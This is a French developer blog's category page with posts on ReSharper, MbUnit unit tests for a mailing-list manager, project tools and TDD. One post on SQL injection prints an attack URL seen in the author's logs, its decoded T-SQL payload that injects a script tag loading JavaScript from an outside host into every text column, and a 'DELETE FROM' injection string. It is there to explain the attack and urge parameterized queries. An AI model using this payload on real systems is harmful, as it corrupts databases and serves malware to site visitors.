Category: Génie logiciel

Resharper / R# 4.5 bêta et MbUnit v2

Posted by – March 28, 2009

Certains d’entre nous se plaignent de la lenteur de R# 4.0, à tord ou à raison : la configuration de la station peut être aussi en cause, ou avoir une grosse solution (ie: milliers de classe, > 250 K LOC) sous Visual Studio 2K8 prend plus de temps à analyser.

More

Sondage express : à combien d’années estimez-vous falloir pour devenir un bon codeur ?

Posted by – March 26, 2009

définition du bon = par expérience, on sait par avance ce qui est bien ou non de faire dans tel contexte, les bonnes pratiques, on les connait sur le bout des doigts, la conception n’a plus de secret, le quick & dirty est banni de notre pratique,  l’ingénierie logicielle est une quête perpétuelle

More

Livres blancs en français : les 25 erreurs de programmation les plus dangereuses et la plateforme Azure

Posted by – March 3, 2009

Il y a quelques semaines, j’étais tombé sur un intéressant document qui répertorie les 25 erreurs de programmation les plus dangereuses, un recueil de bonnes pratiques pour tout développeur chevronné ou qui veut le rester. Coding Horror nous faisait une explication de chacun des points.

More

Comment (bien) rater un projet ?

Posted by – December 20, 2008

Préambule

Il y a plusieurs contextes à la réalisation d’un projet, et j’en compte notamment 2 : en tant qu’équipe d’une SSII qui travaille pour un client, en tant qu’équipe interne d’une entreprise finale pour développer des projets internes. Je me situe dans la 2eme catégorie. Chaque organisation a une dimension politique, et la mienne ne déroge pas à la règle, voire un peu plus que la moyenne, où pour arriver à son objectif, il faudra alors parcourir un terrain jonché d’obstacles qu’il faudra lever.

Chaque catégorie aura ses propres contraintes : ne pas dépenser plus de jours à ses frais qu’il n’en faut pour l’un et que ça rapporte un max, contrôler ses projets et son S.I. pour l’autre. Les points ci-après ne constitue en rien une liste exhaustive, juste tirés d’un vécu tout personnel, on pourra la compléter si besoin.

More

Gestion de projets : quelques outils en ligne

Posted by – November 5, 2008

Un de nos apprentis ingénieurs m’a demandé conseil sur les outils de gestions de projets, en mode collaboratif.

En gros, les besoins remontés étaient :

  • en ligne
  • accès par plusieurs membres d’une équipe
  • avoir la possibilité de déposer des fichiers
  • repository de sources

Parmi les applications disponibles, une liste non exhaustive de ce qu’il peut exister :

  • Google Code : gratuit – intégration SVN (rajoutez bien entendu TortoiseSVN), Wiki, dépôt de fichiers, plusieurs membres. Je l’utilise pour mes exemples de codes, et ça marche plutôt pas mal (http://code.google.com/p/mysampleapp)
  • Redmine : gratuit – certainement le challenger (développé en Ruby On Rails) le plus sérieux à Trac (en python et un peu une galère sans nom pour l’installer) – à héberger chez vous.
  • GitHub : gratuit pour une version allégée – intégration Git, interface très bien faite (à la Web2), user friendly dira-t-on et une approche sociale, Wiki, indicateurs graphiques (commits, langages utilisés, …) – beaucoup de projets RoR sont gérés sur cette plateforme. Git, développé à l’origine par Linus pour gérer les sources du noyau en mode distribué. Au passage, un cheatsheet sur Git.
  • Codeplex : la plateforme MS d’hébergement de projets. Intégration TFS / SVN, Wiki, stats., évolutions proposées aux votes. Pour l’avoir essayé, l’inscription est assez laborieuse, et surtout, si votre projet n’est pas actif, il est, purement et simplement effacé.

Pour une gestion de plus haut niveau, c’est à dire, liste de tâches, milestones, on pensera à Basecamp, gratuit pour une utilisation légère (1 projet) : interface simple, usage cohérente d’Ajax, intégration OpenId, pratique pour ne rien oublier.

MBunit et Resharper 4.1

Posted by – October 31, 2008

R# vous donne des conseils pour refactorer votre code. Il contient également un test runner mais uniquement pour NUnit. Un projet maintenu sur Google code permet de lancer MbUnit à partir de R#, les dernières sources sont pour la version 4.0 de R#. En naviguant un peu j’ai trouvé l’astuce pour le faire fonctionner sous R# 4.1, une ligne a été ajoutée dans le fichier install.bat, l’archive est disponible en annexe.

Après l’installation, vous aurez accès, dès détection d’un test, à une pastille verte pour lancer le runner

ResharperMbunit

Les test lancés, on a droit à une très belle fenêtre avec l’ensemble des tests, ainsi que leur état (Ok, KO, ignoré).

Encore plus fort, vous utilisez NHibernate, il vous mettra les requêtes construites par l’ORM, magique.

ResharperMbunitNHibernate

Valtech days 2008

Posted by – October 21, 2008

Un résumé de la première journée de cette édition 2008 sur les thèmes de l’agilité, l’industrialisation, l’architectures et l’e-Business/Web2. Un bref compte-rendu des quelques sessions auxquelles j’ai pu assister.

Dans l’ensemble, rien de bien nouveau sous les tropiques, les thèmes restent présents depuis 2007. Mais pourquoi pas, si cela peut influencer les décideurs / DSI sur l’intérêt de l’agilité, industrialisation & consorts dans nos projets.

Mes choix se sont portés naturellement vers l’agilité, le code & les tests, et un peu de Web 2 (ou 3).

More

Tests in progress

Posted by – October 19, 2008

Préambule

Nous sommes en train de reprendre un module pour préparer une bascule prochaine. Ce module concerne une gestion de listes de diffusion (de discussions, distributions, newsletters, …) qui contient des actions simples : création ou suppression d’une liste, ajout ou suppression d’un abonnement.

C’est l’occasion d’ implémenter des tests sur ce module. Pas tout à fait TDD dans le principe, mais cela aura au moins le mérite de commencer à prendre la main sur les frameworks et la méthode d’implémentation.

On va procéder par étapes, en commençant petit, il est toujours préférable d’être raisonnable dans ses objectifs, think big, start small disait mon grand-père agile.

Dans l’écriture de ces tests, il va s’agir de vérifier les entrées (chaînes de caractères) passées aux différentes méthodes, à savoir que le nom de la liste, et l’email de l’abonné soient bien formés (en gros que les regexp qui vérifient ces entrées fonctionnent).

On tentera (presque) de respecter le modèle du triptyque RED-GREEN-REFACTOR, sauf que dans notre cas, il existe du code :

  • écriture d’un test, le faire planter, le résultat du test runner doit être au rouge,
  • faire passer le test au vert,
  • réécrire le code le cas échéant

Outils

Le framework de tests utilisé est MbUnit, et le runner un add-in VStudio TestDriven.NET. Une version d’évaluation de ReSharper est également installée pour accélérer les ajustements de code.

Dès que je peux, je tenterai également ce projet qui me parait fort intéressant : mbunit-R#.

Mise en place

Un peu de théorie

Le module s’appelle ListManager, notre projet de tests se nommera donc selon la convention ListManager.Tests. Les noms des méthodes de tests sont écrites selon le format suivant : ”NomMethodManager_ResultatAttendu_ScenariodeTest’.

Les méthodes de notre Manager à tester sont de l’ordre de 4, on s’arrêtera à la 1ère pour notre exemple :

  • CreateList(list) : créer une liste
  • DeleteList(list) : supprimer une liste
  • Subscribe(list, email) : abonner à une liste un email
  • Unsubscribe(list, email) : désabonner d’une liste un email

Sur notre existant, chaque méthode ne renvoie que des exceptions, notamment sur la vérification de la validité des entrées, ici list et email. Des expressions régulières sont utilisées pour tester le format de ces 2 paramètres. En gros que les caractères du type [a-z0-9-_.] sont acceptés. Chaque méthode renvoie une exception ArgumentException s’il s’avère que le format des chaînes est erroné.

Le Manager peut être utilisé avec 2 fournisseurs possibles, qui représentent 2 moteurs de listes de diffusion (SYMPA ou LYRIS). L’un ou l’autre est sélectionné selon la stratégie adoptée. Les tests de différents cas d’entrées sont à dérouler bien entendu sur les 2 providers.

La base posée, passons à l’écriture de nos tests.

Passons à la pratique

Testons CreateList(). Le résultat attendu est une exception ArgumentException sur des chaînes qui ne respectent pas le format attendu. Le test doit être au vert si la méthode renvoie donc bien une exception sur une mauvaise entrée, par exemple :

CreateList(“éléphant”) doit renvoyer une erreur. Le code pour tester que ces cas renverront bien un exception pour les 2 providers, l’attribut [ExpectedArgumentException] de MbUnit permet de tester l’exception attendue :

  1. using ListManagerConnector;
  2. using MbUnit.Framework;
  3.  
  4. namespace ListManager.Tests
  5. {
  6. [TestFixture]
  7. public class ListManagerTests
  8. {
  9. [Test]
  10. [ExpectedArgumentException]
  11. public void CreateList_onSympa_ShouldThrow_IfNameOfList_IsNotWellFormed()
  12. {
  13. var lm = AbstractFactory.Factory("SYMPA").ListManagerControler;
  14. lm.CreateList("éléphant");
  15. }
  16.  
  17. [Test]
  18. [ExpectedArgumentException]
  19. public void CreateList_onLyris_ShouldThrow_IfNameOfList_IsNotWellFormed()
  20. {
  21. var lm = AbstractFactory.Factory("LYRIS").ListManagerControler;
  22. lm.CreateList("éléphant");
  23. }
  24. }
  25. }

Ce premier est pas mal, mais rien que pour éléphant, il nous faut 2 méthodes de tests. Pour chaque motif à tester, 2 méthodes supplémentaires, ce qui devient vite rébarbatif et donc peu motivant. Pour améliorer cela, MbUnit fournit la possibilité d’injecter des jeux de tests dans les méthodes (dans le même principe que des tests fonctionnels, voir FitNesse). Pour cela, utilisons les attributs [RowTest] (qui remplace l’attribut de base [Test]) et [Row] pour dérouler les cas intéressants et ce, sur les 2 providers.

Testons les motifs éléphant, l’éléphant, et certains autres cas sur les providers nommés SYMPA et LYRIS. Le paramètre strategy permet de tester chaque méthode sur les 2 providers :

  1. using ListManagerConnector;
  2. using MbUnit.Framework;
  3.  
  4. namespace ListManager.Tests
  5. {
  6. [TestFixture]
  7. public class ListManagerTests
  8. {
  9. [RowTest]
  10. [Row("malist@cc", "SYMPA")]
  11. [Row("malist@dummy.fr", "SYMPA")]
  12. [Row("", "SYMPA")]
  13. [Row("éléphant", "SYMPA")]
  14. [Row("l'elephant", "SYMPA")]
  15.  
  16. [Row("malist@lyris.fr", "LYRIS")]
  17. [Row("malist@fr", "LYRIS")]
  18. [Row("", "LYRIS")]
  19. [Row("éléphant", "LYRIS")]
  20. [Row("l'elephant", "LYRIS")]
  21. [ExpectedArgumentException]
  22. public void CreateList_ShouldThrow_IfNameOfList_IsNotWellFormed(string listname, string strategy)
  23. {
  24. var lm = AbstractFactory.Factory(strategy).ListManagerControler;
  25. lm.CreateList(listname);
  26. }
  27. }
  28. }

et voilà, comment en une méthode implémenter un jeu de 10 tests. Jouons la méthode avec TestDriven sous VStudio 2008 et le runner de MbUnit. On voit que MbUnit déroule chaque cas (éléphant, l’éléphant, ..) sur la même méthode.

Sous Visual Studio :

MbUnit

En lançant le runner de MbUnit :

MbUnit

Si nous avions introduit une donnée correcte, un des tests aurait été dans l’état rouge ou FAILURE, par exemple le test suivant doit échouer :

  1. [Row("od", "SYMPA")]

MbUnit

à chaque nouvelle écriture d’une méthode de test, on commencera par la faire échouer de cette façon.

Rétrospective

Ces premiers tests répondent à tout ou partie à notre besoin : vérifier que les entrées de nos méthodes sont bien formées.

Quelques retours sur ces 1ers tests :

  • dans notre cas, il a fallu que les 2 serveurs de listes soient en fonction, sans compter la configuration ad-hoc nécessaire. Aussi, il aurait été bénéfique que les 2 providers soient injectés dans le manager, afin de pouvoir les simuler lors des tests, part des Stubs / Mocks par exemple. Ici, on part du principe que nos serveurs fonctionnent et rendent le service attendu. Bien sûr, si l’objectif était de les tester alors on déploierait les tests nécessaires, même si cela concerne plus de l’intégration que des tests unitaires,
  • on comprend mieux la nécessité d’une usine d’intégration continue. Je m’imagine mal exécuter des centaines de tests à chaque fois sur mon IDE. L’usine peut apporter une solution à cette question.
  • j’ai pu m’apercevoir que des cas passaient alors qu’ils sont interdits, des bugs donc éventuels, maintenant corrigés.
  • au niveau de la conception objet, on s’aperçoit vite que c’est perfectible, que le code doit être non seulement OO mais aussi testable, ce qui implique un compromis des deux.
  • bonne expérience, à répéter de toute urgence, passionnant !

Tips & Tricks

Sous Visual Studio, à l’aide de TestDriven, le fait de se placer sur une méthode de test et de lancer les tests ne déroule ces derniers que sur la méthode.

ReSharper ou R# est un très très bon add-in, c’est assez remarquable ce qu’il arrive à conseiller comme réécriture du code, il reste à convaincre d’investir 200 € (par licence).

Under attack – SQL Injection

Posted by – October 11, 2008

On nous le dit souvent, ne jamais faire confiance dans les entrées, par exemple lors de la saisie d’un formulaire. Il convient de toujours vérifier ces dites entrées dans vos méthodes.

En revanche, quid des paramètres dans une querystring ? Récemment, on a eu des tentatives d’injection SQL par URL. Cela se représentait par la querystring suivante, juste après le paramètre id, un extrait :

 /m.aspx?Id=112;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C4152172636861722[...]F43415445205461626F72%20AS%20CHAR(4000));EXEC(@S); 

Assez ingénieux : la requête est envoyée en hexa puis castée pour retrouver le code afin d’être exécutée, ce qui devient une fois décryptée :

  1. DECLARE @T varchar(255),@C varchar(4000)
  2. DECLARE Table_Cursor CURSOR FOR
  3. SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u'
  4. AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231or b.xtype=167)
  5. OPEN Table_Cursor
  6. FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
  7.  
  8. BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://sdo.
  9. 1000mg.cn/csrss/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http:
  10. //sdo. 1000mg.cn/csrss/w.js"></script><!--''')
  11. FETCH NEXT FROM Table_Cursor INTO
  12. @T,@C END CLOSE Table_Cursor
  13. DEALLOCATE Table_Cursor% AS% CHAR(@)

Un curseur qui prend toutes les tables et toutes les colonnes de type string (nvarchar, ntext, …) pour y injecter un code HTML avec un javascript, ce dernier étant certainement malveillant. Plus de détails ici.

Lorsque l’on expose des pages publiques, la sécurité ne doit pas être négligée. Que cela soit à l’aide de CAPTCHA, d’encodage javascript pour protéger les emails contre les aspirateurs, ou de bonnes pratiques pour les entrées. Ici, cela concerne les paramètres d’URL, qui seront utilisés pour interroger la base (sur un id, etc.).

On veillera à éviter les concaténations du type

  1. var mysql = "SELECT * FROM mytable WHERE nom='"+para+"'";

qui représente un danger d’injection SQL, par exemple rien n’empêche l’introduction de ce type de chaîne, par l’intermédiaire du paramètre para :

 oli' ; DELETE FROM mytable; 

voire une interrogation des tables systèmes pour avoir la liste des tables pour les effacer.

En ce qui concerne les paramètres de type entier, on peut déjà les vérifier en utilisant int.TryParse() qui testera la validité de l’entrée, lever une exception si cette dernière s’avérait erronée.

Ensuite, dès lors que nous effectuons des requêtes SQL (SELECT, ou tout CRUD), il est fortement recommandé, soit d’utiliser des requêtes paramétrées (SQL Parameter) qui nous protègent contre les attaques d’injection SQL , soit, mieux, de ne pas faire l’impasse sur l’usage d’un ORM, par exemple NHibernate.

L’avantage de ce dernier est qu’il fera le travail à votre place (car il faut malgré tout y penser à protéger ses requêtes), et vous dispensera de tout code SQL. Une bonne pratique à appliquer quotidiennement.

Apparemment, cela a fonctionné chez certains : http://www.google.com/search?hl=fr&…

TDD & intégration continue

Posted by – September 29, 2008

Nous avons eu la semaine dernière avec l’équipe une formation en intra de 4 jours sur 2 sujets très intéressants : le TDD et l’intégration continue. Cette formation avait pour objectif de nous mettre un pied à l’étrier sur la base du TDD et de l’intégration continue. Ces 2 modules demanderont certainement par la suite un investissement personnel non négligeable mais tellement positif et passionnant, en droite ligne avec les méthodes agiles (agile dans le sens XP).

More